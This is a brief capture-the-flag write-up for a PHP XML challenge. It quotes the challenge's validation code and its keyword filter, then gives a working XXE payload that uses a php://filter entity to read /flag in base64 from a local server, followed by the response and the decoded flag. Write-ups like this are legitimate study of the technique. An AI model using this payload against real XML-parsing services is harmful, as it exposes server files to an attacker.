

Writeup

you can see

```
if ($d->validate()) {  
    show($d, "");  
} else {  
    echo "Invalid";  
}
```

and

```
header("Content-Type: text/plain");  
$d = new DOMDocument();  
$data = file_get_contents("php://input");  
if(preg_match('/file|rot13/i', $data))  
{  
    die('illegal!');  
}
```

if you know that is a xxe and if our validate we can get flag

have a search and you will find

```

1 <?php
2
3 // Create a new DOMDocument
4 $doc = new DOMDocument;
5
6 // Load the XML with DTD rule to have
7 // a root element with first, second,
8 // and third as its three children
9 $doc->loadXML("<?xml version=\"1.0\"?>
0 <!DOCTYPE root [
1 <!ELEMENT root (first, second, third)>
2 <!ELEMENT first (#PCDATA)>
3 <!ELEMENT second (#PCDATA)>
4 <!ELEMENT third (#PCDATA)>
5 ]>
6
7 <!-- Create a XML following the DTD -->
8 <root>
9 <first>Hello</first>
0 <second>There</second>
1 <third>World</third>
2 </root>");
3
4 // Check if XML follows the DTD rule
5 if ($doc->validate()) {
6     echo "This document is valid!\n";
7 }
8 ?>

```

we can't use file:// but we can use php://filter to read the flag

Import Overview POST http://127.0.0.1:8092/ No Environment

http://127.0.0.1:8092/ Save

POST http://127.0.0.1:8092/ Send

Params Authorization Headers (8) Body Pre-request Script Tests Settings Cookies

none form-data x-www-form-urlencoded raw binary GraphQL Text

```
1 <?xml version="1.0"?>
2 <!DOCTYPE root [
3 <!ELEMENT root (first, second, third)>
4 <!ELEMENT first (#PCDATA)>
5 <!ELEMENT second (#PCDATA)>
6 <!ELEMENT third (#PCDATA)>
7 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">]>
8 <!-- Create a XML following the DTD -->
9 <root>
10 <first>1</first>
```

Body Cookies Headers (6) Test Results 200 OK 19 ms 365 B Save Response

Pretty Raw Preview Visualize Text

```
1 <!-- Create a XML following the DTD -->
2 <root>
3   <first>
4     1
5   </first>
6   <second>
7     TU9DU0NURntUaDFzXzFzX0V6X2J1dF92YWxpZH0K
8   </second>
9   <third>
10    MOCsCTF{Th1s_1s_Ez_but_valid}
```

```
$ echo TU9DU0NURntUaDFzXzFzX0V6X2J1dF92YWxpZH0K | base64 -d
MOCsCTF{Th1s_1s_Ez_but_valid}
```